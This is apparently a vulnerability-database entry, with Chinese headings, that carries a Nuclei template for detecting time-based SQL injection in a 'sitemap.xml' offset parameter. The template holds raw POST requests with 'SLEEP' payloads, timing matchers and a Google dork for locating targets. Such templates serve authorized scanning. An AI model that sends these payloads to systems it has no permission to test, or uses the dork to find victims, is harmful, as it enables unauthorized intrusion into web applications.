sitemap-sql-injection: Sitemap - SQL Injection

日期: 2025-08-01 | 影响软件: Sitemap | POC: 已公开

漏洞描述

Sitemap is vulnerable to SQL Injection.

PoC代码[已公开]

id: sitemap-sql-injection

info:
  name: Sitemap - SQL Injection
  author: Aravind,j4vaovo
  severity: high
  description: Sitemap is vulnerable to SQL Injection.
  reference:
    - https://twitter.com/GodfatherOrwa/status/1647406811216072705?t=fbn0Eu34euKdrn4fL8UqfQ&s=19
  metadata:
    max-request: 2
    google-query: intext:"sitemap" filetype:txt, filetype:xml inurl:sitemap
  tags: time-based-sqli,misconfig,sitemap,sqli,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /sitemap.xml?offset=1;SELECT%20IF((SLEEP(6)),1,2356)# HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 25s
        POST /sitemap.xml?offset=1;SELECT%20IF((SLEEP(16)),1,2356)# HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code_1 == 200'
          - 'contains(body_1, "sitemap>")'
        condition: and

      - type: dsl
        dsl:
          - 'duration_2>=16'
          - 'status_code_2 == 200'
          - 'contains(body_2, "sitemap>")'
        condition: and
# digest: 490a00463044022055a676d714b5f2fca3be5b13ae7018e14fd3ef48238785ad14266380db1cf03102203fbebdac8a9403eb3a4059d59c09db4a46cea1b472c2e39505b8100a8eb45fb0:922c64590222798bb761d5b6d8e72950

相关漏洞推荐